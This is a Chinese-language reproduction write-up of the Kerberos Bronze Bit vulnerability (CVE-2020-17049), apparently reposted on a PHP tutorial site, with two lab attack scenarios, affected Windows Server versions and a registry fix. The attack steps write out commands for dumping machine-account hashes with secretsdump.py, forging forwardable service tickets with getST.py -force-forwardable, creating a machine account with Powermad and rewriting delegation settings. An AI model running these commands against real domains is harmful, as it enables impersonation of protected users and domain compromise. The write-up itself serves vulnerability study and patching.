这个漏洞的作用是允许攻击者攻击“受保护组”或设置了“敏感用户,禁止委派”的用户,或者攻击设置了“仅信任该计算机来委派指定的服务-->仅使用kerberos”的机器。
攻击的基本思路如下:
漏洞原理:
在之前的利用方法中,如果我们已经拥有了一个service1的hash,想要获取service2的权限,可以使用getST.py程序执行S4U交换来获取目标的TGT。如果其配置了“TrustedToAuthForDelegation”,且用户未受保护,其流程如下:

但如果其设置了仅Kerberos或受保护的组,则不会成功。

漏洞作者为工具增加了-force-forwardable参数,使其成为了可能。

这个GIF直观地显示了该过程:https://www.php.cn/link/b229ed523ffbcc8c48d47eb8bcd760c6
漏洞复现:
网络拓扑环境如下:

Example Attack1:
环境配置如下:
server1设置如下:

user2设置:


开始攻击:
首先访问server2,确认无法直接连接到server。

然后我们需要获取server1的机器账户的AES256-CTS-HMAC-SHA1-96和LM:NTLM hash。在作者的复现过程中使用的是secretsdump.py来操作的:
python .\impacket\examples\secretsdump.py 'test/user1:<user1_password>@Service1.test.local'

但在测试过程中,发现并不可以这样操作。也有可能是操作有问题,于是换成了mimikatz的ekeys来操作:

或者为了复现方便,提升到高权限操作:

.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <ntlm hash> -aesKey <aes hash> test.local/Service1

发现,并不能获取user2的TGT,而加上参数之后,则可以成功获取:
.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes <ntlm hash> -aesKey <aes hash> test.local/Service1 -force-forwardable

然后我们注入该票据:

不过我们这里的是host的票据,我们一般需要的是cifs,按照刚才的步骤再走一遍就ok了。

此时便拥有了对目标的访问权限。
Example Attack2:
环境配置如下:


开始攻击:
Import-Module .\Powermad\powermad.ps1 New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

然后:
"kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

然后:
Install-WindowsFeature RSAT-AD-PowerShell Import-Module ActiveDirectory Get-ADComputer AttackerService

然后:
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$ Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

然后获取TGT:

然后注入票据即可:

写在后面:
由于时间问题,并未对原理进行研究,只是简单进行了复现,有兴趣者可自行抓包分析。
漏洞影响版本:
Windows Server 2012 Windows Server 2012 R2 Windows Server 2016 Windows Server 2019 Windows Server, version 1903 Windows Server, version 1909 Windows Server, version 2004 Windows Server, version 20H2
修复方案:
将HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc的PerformTicketSignature设置为1:

参考文章:
https://www.php.cn/link/88223ade11c861267dccbc28768b5003
https://www.php.cn/link/1dfbac99bfb6d351efe1814d7339e9d9
https://www.php.cn/link/86505d8e6c39805306cede26cd66cb6c
https://www.php.cn/link/25b62af6237fd079d6a230f011a0ff26
https://www.php.cn/link/2715c65820c839c31c44eb38bddf613f
以上就是CVE-2020-17049 Kerberos Bronze Bit 攻击复现的详细内容,更多请关注php中文网其它相关文章!
                        
                        每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
                Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号